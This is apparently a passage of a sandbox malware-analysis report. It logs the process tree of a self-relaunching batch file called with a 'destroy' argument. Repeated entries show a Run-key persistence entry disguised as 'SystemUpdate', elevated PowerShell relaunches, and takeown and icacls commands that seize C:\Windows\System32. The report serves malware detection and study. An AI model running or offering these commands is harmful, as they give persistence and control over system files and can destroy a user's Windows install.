        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        36⤵
        
        PID:4748
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        36⤵
        Modifies registry key
        
        PID:6048
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        36⤵
        Delays execution with timeout.exe
        
        PID:1920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        36⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4792
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        37⤵
        Executes a command shell one-liner
        
        PID:4876
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        38⤵
        
        PID:3600
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        38⤵
        Modifies registry key
        
        PID:5700
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        38⤵
        
        PID:4732
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4536
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        39⤵
        Executes a command shell one-liner
        
        PID:2220
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        40⤵
        
        PID:4184
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        40⤵
        Modifies registry key
        
        PID:4592
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        40⤵
        Delays execution with timeout.exe
        
        PID:2208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        40⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3616
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        41⤵
        Executes a command shell one-liner
        
        PID:4000
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        42⤵
        
        PID:3184
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        42⤵
        Modifies registry key
        
        PID:5632
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        42⤵
        Delays execution with timeout.exe
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        42⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3580
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy
        43⤵
        Executes a command shell one-liner
        
        PID:6068
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        44⤵
        
        PID:992
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        44⤵
        Modifies registry key
        
        PID:3544
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        44⤵
        Delays execution with timeout.exe
        
        PID:4312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\vrc.bat destroy' -Verb RunAs"
        44⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:684
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        42⤵
        Delays execution with timeout.exe
        
        PID:2488
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        42⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4204
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        40⤵
        Delays execution with timeout.exe
        
        PID:1032
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        40⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1712
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        38⤵
        Delays execution with timeout.exe
        
        PID:2844
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        38⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5352
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        36⤵
        Delays execution with timeout.exe
        
        PID:5352
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        36⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5856
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        34⤵
        Delays execution with timeout.exe
        
        PID:2664
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        34⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2996
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        32⤵
        
        PID:4012
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        32⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4116
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        30⤵
        Delays execution with timeout.exe
        
        PID:4884
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        30⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1476
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        28⤵
        Delays execution with timeout.exe
        
        PID:4576
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        28⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5256
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        26⤵
        Delays execution with timeout.exe
        
        PID:1944
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        26⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5032
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        24⤵
        Delays execution with timeout.exe
        
        PID:2748
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        24⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5732
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        22⤵
        Delays execution with timeout.exe
        
        PID:1544
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        22⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4724
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        20⤵
        Delays execution with timeout.exe
        
        PID:3048
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        20⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4376
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        18⤵
        Delays execution with timeout.exe
        
        PID:2692
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        18⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:996
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        16⤵
        Delays execution with timeout.exe
        
        PID:612
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        16⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4416
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        14⤵
        Delays execution with timeout.exe
        
        PID:4152
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        14⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6132
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        12⤵
        Delays execution with timeout.exe
        
        PID:3832
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        12⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5684
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        10⤵
        Delays execution with timeout.exe
        
        PID:3880
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        10⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1252
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        8⤵
        Delays execution with timeout.exe
        
        PID:5360
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1664
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3276
      - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32 /r /d y
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:5640
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4124
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32 /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4800
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1068
- C:\Windows\system32\takeown.exe
  takeown /f C:\Windows\System32 /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  - Suspicious use of AdjustPrivilegeToken
  PID:4692
- C:\Windows\system32\icacls.exe
  icacls C:\Windows\System32 /grant Administrators:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:476

C:\Windows\system32\mode.com
mode con cols=140 lines=60
1⤵
PID:3580

C:\Windows\system32\reg.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
1⤵
- Adds Run key to start application
- Modifies registry key
PID:2992

C:\Windows\system32\timeout.exe
timeout /t 10 /nobreak
1⤵
- Delays execution with timeout.exe
PID:2140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3480
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\mode.com
    mode con cols=140 lines=60
    3⤵
    PID:2084
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:1884
- - C:\Windows\system32\timeout.exe
    timeout /t 10 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2672
    - - C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        5⤵
        
        PID:792
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1924
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        5⤵
        
        PID:5252
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5208
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4284
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        7⤵
        
        PID:1524
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        7⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:5576
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:2308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2028
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        8⤵
        Executes a command shell one-liner
        
        PID:4764
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        9⤵
        
        PID:5568
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        9⤵
        Modifies registry key
        
        PID:4400
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        9⤵
        Delays execution with timeout.exe
        
        PID:2256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5344
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        10⤵
        Executes a command shell one-liner
        
        PID:3312
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        11⤵
        
        PID:2236
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        11⤵
        Modifies registry key
        
        PID:612
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        11⤵
        Delays execution with timeout.exe
        
        PID:3456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1364
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        12⤵
        Executes a command shell one-liner
        
        PID:5252
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        13⤵
        
        PID:3420
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        13⤵
        Modifies registry key
        
        PID:3524
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        13⤵
        
        PID:4176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        13⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4640
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        14⤵
        Executes a command shell one-liner
        
        PID:5368
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        15⤵
        
        PID:2864
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        15⤵
        Modifies registry key
        
        PID:5176
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        15⤵
        Delays execution with timeout.exe
        
        PID:5144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        15⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2804
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        16⤵
        Executes a command shell one-liner
        
        PID:4452
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        17⤵
        
        PID:1708
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        17⤵
        Modifies registry key
        
        PID:5472
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        17⤵
        Delays execution with timeout.exe
        
        PID:3464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        17⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3376
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        18⤵
        Executes a command shell one-liner
        
        PID:1916
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        19⤵
        
        PID:5032
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        19⤵
        Modifies registry key
        
        PID:4832
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        19⤵
        Delays execution with timeout.exe
        
        PID:4864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        19⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4292
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        20⤵
        Executes a command shell one-liner
        
        PID:3940
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        21⤵
        
        PID:3596
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        21⤵
        Modifies registry key
        
        PID:180
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        21⤵
        
        PID:1708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        21⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3420
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        22⤵
        Executes a command shell one-liner
        
        PID:1888
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        23⤵
        
        PID:2260
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        23⤵
        Modifies registry key
        
        PID:2208
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        23⤵
        Delays execution with timeout.exe
        
        PID:4504
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        23⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3608
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        24⤵
        Executes a command shell one-liner
        
        PID:1624
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        25⤵
        
        PID:3076
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        25⤵
        Modifies registry key
        
        PID:1508
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        25⤵
        Delays execution with timeout.exe
        
        PID:2252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        25⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5924
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        26⤵
        Executes a command shell one-liner
        
        PID:4976
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        27⤵
        
        PID:2524
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        27⤵
        Modifies registry key
        
        PID:1544
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        27⤵
        
        PID:3584
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        27⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1904
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        28⤵
        Executes a command shell one-liner
        
        PID:1784
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        29⤵
        
        PID:1000
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        29⤵
        Modifies registry key
        
        PID:4760
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        29⤵
        
        PID:1156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        29⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3040
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        30⤵
        Executes a command shell one-liner
        
        PID:5080
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        31⤵
        
        PID:5464
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        31⤵
        Modifies registry key
        
        PID:2268
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        31⤵
        Delays execution with timeout.exe
        
        PID:4852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        31⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3972
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        32⤵
        Executes a command shell one-liner
        
        PID:2676
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        33⤵
        
        PID:4936
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        33⤵
        Modifies registry key
        
        PID:620
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        33⤵
        Delays execution with timeout.exe
        
        PID:5204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        33⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5580
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        34⤵
        Executes a command shell one-liner
        
        PID:1000
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        35⤵
        
        PID:1080
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        35⤵
        Modifies registry key
        
        PID:2748
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        35⤵
        
        PID:5036
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        35⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4512
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        36⤵
        Executes a command shell one-liner
        
        PID:3388
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        37⤵
        
        PID:1720
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemUpdate /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\system32update.bat" /f
        37⤵
        Modifies registry key
        
        PID:1200
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 10 /nobreak
        37⤵
        Delays execution with timeout.exe
        
        PID:4540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy' -Verb RunAs"
        37⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1576
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\system32update.bat destroy
        38⤵
        Executes a command shell one-liner
        
        PID:2416
        
        C:\Windows\system32\mode.com
        
        mode con cols=140 lines=60
        39⤵
        
        PID:1200
        
        C:\Windows\system32\reg.exe
        
